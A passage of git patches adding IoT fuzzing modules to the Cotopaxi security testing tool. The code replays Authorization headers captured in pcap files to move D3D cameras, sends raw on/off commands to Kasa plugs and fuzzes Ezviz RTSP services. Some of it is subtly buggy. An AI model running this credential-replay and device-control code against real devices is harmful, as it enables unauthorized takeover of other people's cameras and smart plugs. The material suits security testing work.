Unauthorized Right turn") + print("================================================================") + elif direc == "up": + response = requests.get("http://" + ip_t + rot_up, headers=headers_pcap) + if response.status_code == 200: + print("================================================================") + print("Test Statistics :") + print("Message Sent : 1") + print("Response Received : 1") + print("0% Messsage Loss") + print("Test Time : ") + print("\n") + print("Device Name : ", name) + print("Vulnerable to Unauthorized Up turn") + print("================================================================") + elif direc == "down": + response = requests.get("http://" + ip_t + rot_down, headers=headers_pcap) + if response.status_code == 200: + print("================================================================") + print("Test Statistics :") + print("Message Sent : 1") + print("Response Received : 1") + print("0% Messsage Loss") + print("Test Time : ") + print("\n") + print("Device Name : ", name) + print("Vulnerable to Unauthorized Down turn") + print("================================================================") + +def kodak(name, filepath): + print("tshark stuff") + +def kasa(ip, port, payload): + payload_on = "AAAAKtDygfiL/5r31e+UtsWg1Iv5nPCR6LfEsNGlwOLYo4HyhueT9tTu36Lfog==" + payload_off = "AAAAKtDygfiL/5r31e+UtsWg1Iv5nPCR6LfEsNGlwOLYo4HyhueT9tTu3qPeow==" + try: + decoded_payload = base64.b64decode(payload) + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: + s.connect((ip, port)) + s.sendall(decoded_payload) + response = s.recv(1024).decode() + print(response) + return response + except Exception as e: + print(f"Couldn't connect to {ip}:{port}, error: {e}") + sys.exit(1) + +def main(): + if len(sys.argv) != 4: + print("Usage: cotopaxi.iot_fuzzer [name] [ip] [direction] [port]") + sys.exit(1) + + name = sys.argv[1] + ip = sys.argv[2] + direction = sys.argv[3] + if name == "kasa": + port = int(sys.argv[4]) + + if name == "d3d": + file_path = "/home/neouchiha/Downloads/d3d2.pcapng" + extract_unique_authorization_headers(file_path, name, ip, direction) + elif name == "kasa": + payload = input("Enter payload: ") + kasa(ip, port, payload) + elif name == "kodak": + filepath = "/path/to/pcapng/file" + kodak(name, filepath) + else: + print("Invalid name entered.") + +if __name__ == "__main__": + main() From 88ed18a87172d0ec9f6ab64cac8ddc43ff41a6c4 Mon Sep 17 00:00:00 2001 From: "N.Pranav Krishna" <52345192+npranav7619@users.noreply.github.com> Date: Thu, 4 Apr 2024 01:17:02 +0530 Subject: [PATCH 3/4] Update iot_fuzzer.py --- cotopaxi/iot_fuzzer.py | 31 ++++++++++++++++++++++++++----- 1 file changed, 26 insertions(+), 5 deletions(-) diff --git a/cotopaxi/iot_fuzzer.py b/cotopaxi/iot_fuzzer.py index be5bc06..0635fcb 100644 --- a/cotopaxi/iot_fuzzer.py +++ b/cotopaxi/iot_fuzzer.py @@ -26,13 +26,13 @@ import requests import socket import base64 +import pyshark +from fuzzingbook.MutationFuzzer import * def extract_unique_authorization_headers(file_path, name, ip, direc): try: - # Read packets from the pcapng file with PcapNgReader(file_path) as pcapng_reader: packets = list(pcapng_reader) - # Set to store unique Authorization headers unique_authorization_headers = set() @@ -61,6 +61,7 @@ def get_craft_send(ip_t, headers_pcap, direc, name): rot_right = "/web/cgi-bin/hi3510/ptzctrl.cgi?-step=0&-act=right" rot_up = "/web/cgi-bin/hi3510/ptzctrl.cgi?-step=0&-act=up" rot_down = "/web/cgi-bin/hi3510/ptzctrl.cgi?-step=0&-act=down" + if direc == "left": response = requests.get("http://" + ip_t + rot_left, headers=headers_pcap) if response.status_code == 200: @@ -113,9 +114,29 @@ def get_craft_send(ip_t, headers_pcap, direc, name): print("Device Name : ", name) print("Vulnerable to Unauthorized Down turn") print("================================================================") +def mutate_fuzzer(link): + seed_input = link + mutation_fuzzer = MutationFuzzer(seed=[seed_input]) + [mutation_fuzzer.fuzz() for i in range(10)] def kodak(name, filepath): - print("tshark stuff") + cap = pyshark.FileCapture(filepath) + exported_objects = {} + for pkt in cap: + # Check if the packet has the desired protocol (e.g., HTTP) + if 'http' in pkt: + # Check if the packet contains any objects to export + if hasattr(pkt.http, 'file_data'): + # Extract the object name and data + obj_name = pkt.http.file_data.replace('/', '_') + obj_data = bytes(pkt.http.file_data, 'utf-8') + + # Store the object in the dictionary + exported_objects[obj_name] = obj_data + for obj_name, obj_data in exported_objects.items(): + with open(obj_name, 'wb') as f: + f.write(obj_data) + def kasa(ip, port, payload): payload_on = "AAAAKtDygfiL/5r31e+UtsWg1Iv5nPCR6LfEsNGlwOLYo4HyhueT9tTu36Lfog==" @@ -136,7 +157,7 @@ def main(): if len(sys.argv) != 4: print("Usage: cotopaxi.iot_fuzzer [name] [ip] [direction] [port]") sys.exit(1) - + name = sys.argv[1] ip = sys.argv[2] direction = sys.argv[3] @@ -150,7 +171,7 @@ def main(): payload = input("Enter payload: ") kasa(ip, port, payload) elif name == "kodak": - filepath = "/path/to/pcapng/file" + filepath = "/home/neouchiha/Project_Work/kodak.pcapng" kodak(name, filepath) else: print("Invalid name entered.") From 6e670d405a8565137e9432652d4c24269b907a61 Mon Sep 17 00:00:00 2001 From: "N.Pranav Krishna" <52345192+npranav7619@users.noreply.github.com> Date: Fri, 31 May 2024 22:00:59 +0530 Subject: [PATCH 4/4] Add files via upload --- cotopaxi/iotfuzzsentry.py | 282 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 282 insertions(+) create mode 100644 cotopaxi/iotfuzzsentry.py diff --git a/cotopaxi/iotfuzzsentry.py b/cotopaxi/iotfuzzsentry.py new file mode 100644 index 0000000..fecc81e --- /dev/null +++ b/cotopaxi/iotfuzzsentry.py @@ -0,0 +1,282 @@ +# -*- coding: utf-8 -*- +"""Tool for protocol fuzzing of network service at given IP and port ranges.""" +# +# Copyright (C) 2021 Cotopaxi Contributors. All Rights Reserved. +# Copyright (C) 2020 Samsung Electronics. All Rights Reserved. +# Authors: Jakub Botwicz, Michał Radwański +# +# This file is part of Cotopaxi. +# +# Cotopaxi is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# (at your option) any later version. +# +# Cotopaxi is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Cotopaxi. If not, see . +# +import sys +import socket +import base64 +import time +import requests +from scapy.all import * +from fuzzingbook.MutationFuzzer import MutationFuzzer +import random + +class D3D: + def __init__(self, file_path, name, ip, direc): + self.file_path = file_path + self.name = name + self.ip = ip + self.direc = direc + + def extract_unique_authorization_headers(self): + try: + with PcapNgReader(self.file_path) as pcapng_reader: + packets = list(pcapng_reader) + unique_authorization_headers = set() + + http_packets = [pkt for pkt in packets if pkt.haslayer('TCP') and pkt.haslayer('Raw') and 'GET' in str(pkt['Raw'].load)] + for pkt in http_packets: + http_request = pkt['Raw'].load.decode('utf-8', 'replace') + if 'Authorization' in http_request: + authorization_header = http_request.split('Authorization: ')[1].split('\r\n')[0] + if authorization_header not in unique_authorization_headers: + unique_authorization_headers.add(authorization_header) + headers_pcap = {'Authorization': authorization_header} + self.mutate_fuzzer(headers_pcap) + + except Exception as e: + print(f"Error extracting Authorization headers from pcapng file: {e}") + + def mutate_fuzzer(self, headers): + if self.direc == "right": + seed_input = "/web/cgi-bin/hi3510/ptzctrl.cgi?-step=0&-act=right" + elif self.direc == "left": + seed_input = "/web/cgi-bin/hi3510/ptzctrl.cgi?-step=0&-act=left" + else: + print("Invalid direction specified.") + return + + mutation_fuzzer = MutationFuzzer(seed=[seed_input]) + rang = 200 + links = [mutation_fuzzer.fuzz() for _ in range(rang)] + + links.pop(0) + valid_links = [] + invalid_links = [] + message_count = 0 + + start_time = time.time() + + for link in links: + message_count += 1 + try: + response = requests.get("http://" + self.ip + link, headers=headers) + print("Link:", "http://" + self.ip + link) + print("Status code:", response.status_code) + if response.status_code == 200: + valid_links.append(link) + else: + invalid_links.append(link) + print("Response content:") + print(response.text) + except requests.exceptions.RequestException as e: + print(f"Failed to connect to {link}: {e}") + invalid_links.append(link) + continue + + end_time = time.time() + total_time = end_time - start_time + + with open("200_valid.txt", "w") as f1: + for link in valid_links: + f1.write(link + '\n') + + with open("200_invalid.txt", "w") as f2: + for link in invalid_links: + f2.write(link + '\n') + + print("================================================================") + print("Test Statistics:") + print(f"Messages Sent: {message_count}") + print(f"Valid Links: {len(valid_links)}") + message_loss_percentage = (len(invalid_links) / rang) * 100 + print(f"Invalid Links: {len(invalid_links)}") + print(f"% Message Loss: {message_loss_percentage:.2f}%") + print(f"Total Time: {total_time:.2f} seconds") + print("\n") + print(f"Device Name: {self.name}") + print(f"Vulnerable to Unauthorized turn") # Add what it is vulnerable to + print("================================================================") + +class Kasa: + def __init__(self, name, ip, port): + self.name = name + self.ip = ip + self.port = port + + def switch(self, payload): + try: + decoded_payload = base64.b64decode(payload) + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: + s.connect((self.ip, self.port)) + s.sendall(decoded_payload) + response = s.recv(1024).decode() + print(response) + return response + except Exception as e: + print(f"Couldn't connect to {self.ip}:{self.port}, error: {e}") + sys.exit(1) + finally: + print("================================================================") + print("Test Statistics:") + print(f"Messages Sent: 1") + print(f"Valid Links: 1" if 'response' in locals() and response else "Valid Links: 0") + print(f"Invalid Links: 0" if 'response' in locals() and response else "Invalid Links: 1") + print(f"% Message Loss: 0.00%" if 'response' in locals() and response else "% Message Loss: 100.00%") + print(f"Total Time: {time.time() - start_time:.2f} seconds") + print("\n") + print(f"Device Name: {self.name}") + print(f"Vulnerable to unauthorized access control") # Add what it is vulnerable to + print("================================================================") + +class Ezviz: + def __init__(self, name, ip, port): + self.name = name + self.ip = ip + self.port = port + + def mutate_request(self, request): + request = list(request) + pos = random.randint(0, len(request) - 1) + request[pos] = chr(random.randint(32, 126)) + return ''.join(request) + + def send_rtsp_request(self, request): + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: + s.connect((self.ip, self.port)) + s.sendall(request.encode()) + response = s.recv(4096) + return response.decode() + + def fuzz_rtsp(self): + valid_request = "OPTIONS rtsp://{}:{} RTSP/1.0\r\nCSeq: 1\r\n\r\n".format(self.ip, self.port) + valid_requests = [] + invalid_requests = [] + message_count = 0 + + start_time = time.time() + + for i in range(100): + message_count += 1 + mutated_request = self.mutate_request(valid_request) + print(f"Sending mutated request {i + 1}:", mutated_request) + try: + response = self.send_rtsp_request(mutated_request) + print(f"Received response:\n{response}\n") + valid_requests.append(mutated_request) + except Exception as e: + print(f"Error sending request: {e}") + invalid_requests.append(mutated_request) + + end_time = time.time() + total_time = end_time - start_time + + print("================================================================") + print("Test Statistics:") + print(f"Messages Sent: {message_count}") + print(f"Valid Requests: {len(valid_requests)}") + message_loss_percentage = (len(invalid_requests) / 100) * 100 + print(f"Invalid Requests: {len(invalid_requests)}") + print(f"% Message Loss: {message_loss_percentage:.2f}%") + print(f"Total Time: {total_time:.2f} seconds") + print("\n") + print(f"Device Name: {self.name}") + print(f"Vulnerable to RTSP fuzzing attacks") # Add what it is vulnerable to + print("================================================================") + +def print_usage(): + print(""" +Usage: python iot_fuzzsentry.py [name] [arguments] + +[name]: +- d3d: To perform authorization header extraction and fuzzing for D3D devices. +- kasa: To control Kasa devices with provided IP, port, and payload. +- ezviz: To fuzz RTSP requests for Ezviz devices with provided IP and port. + +[arguments]: +- For d3d: + - [file_path]: Path to the pcapng file containing D3D traffic. + - [ip]: Device IP address. + - [direction]: Direction of turn (left/right). + +- For kasa: + - [ip]: Kasa device IP address. + - [port]: Kasa device port number. + - [payload]: Payload to send to Kasa device. + +- For ezviz: + - [ip]: Ezviz device IP address. + - [port]: Ezviz device port number. + +Example usage: +- For D3D functionality: + python iot_fuzzsentry.py d3d /path/to/pcapng/file device_ip direction + +- For Kasa functionality: + python iot_fuzzsentry.py kasa device_ip port payload + +- For Ezviz functionality: + python iot_fuzzsentry.py ezviz device_ip port +""") + +def main(): + if "-h" in sys.argv or "--help" in sys.argv: + print_usage() + sys.exit(0) + + if len(sys.argv) < 2: + print("Error: Missing arguments. Use '-h' or '--help' for usage instructions.") + sys.exit(1) + + name = sys.argv[1] + if name == "d3d": + if len(sys.argv) != 5: + print("Error: Incorrect number of arguments for 'd3d'. Use '-h' or '--help' for usage instructions.") + sys.exit(1) + file_path = sys.argv[2] + ip = sys.argv[3] + direction = sys.argv[4] + d3d_instance = D3D(file_path=file_path, name=name, ip=ip, direc=direction) + d3d_instance.extract_unique_authorization_headers() + elif name == "kasa": + if len(sys.argv) != 5: + print("Error: Incorrect number of arguments for 'kasa'. Use '-h' or '--help' for usage instructions.") + sys.exit(1) + ip = sys.argv[2] + port = int(sys.argv[3]) + payload = sys.argv[4] + start_time = time.time() + kasa_device = Kasa(name=name, ip=ip, port=port) + kasa_device.switch(payload) + elif name == "ezviz": + if len(sys.argv) != 4: + print("Error: Incorrect number of arguments for 'ezviz'. Use '-h' or '--help' for usage instructions.") + sys.exit(1) + ip = sys.argv[2] + port = int(sys.argv[3]) + ezviz_device = Ezviz(name=name, ip=ip, port=port) + ezviz_device.fuzz_rtsp() + else: + print("Error: Invalid name entered. Use '-h' or '--help' for usage instructions.") + sys.exit(1) + +if __name__ == "__main__": + main()